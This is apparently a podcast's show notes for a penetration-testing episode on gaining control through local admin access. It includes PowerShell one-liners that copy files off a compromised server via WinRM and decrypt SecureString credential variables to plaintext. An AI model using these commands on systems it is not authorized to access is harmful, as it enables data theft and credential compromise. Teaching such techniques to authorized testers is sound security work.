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7MS #589: Tales of Pentest Pwnage - Part 51

7MS #589: Tales of Pentest Pwnage - Part 51

7 Minute Security · Brian Johnson

September 15, 202314m 42s

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Show Notes

In today's tale of pentest pwnage we talk about:

  • The importance of local admin and how access to even one server might mean instant, full control over their backup or virtualization infrastructure

  • Copying files via WinRM when copying over SMB is blocked:

$sess = New-PSSession -Computername SERVER-I-HAVE-LOCAL-ADMIN-ACCESS-ON -Credential *

...then provide your creds...and then:

copy-item c:\superimportantfile.doc -destination c:\my-local-hard-drive\superimportantfile.doc -fromsession $sess
  • If you come across PowerShell code that crafts a secure string credential, you may able to decrypt the password variable with:
[System.Runtime.InteropServices.Marshal]::PtrToStringAuto([System.Runtime.InteropServices.Marshal]::SecureStringToBSTR($MyVarIWantToDecryptGoesHere))
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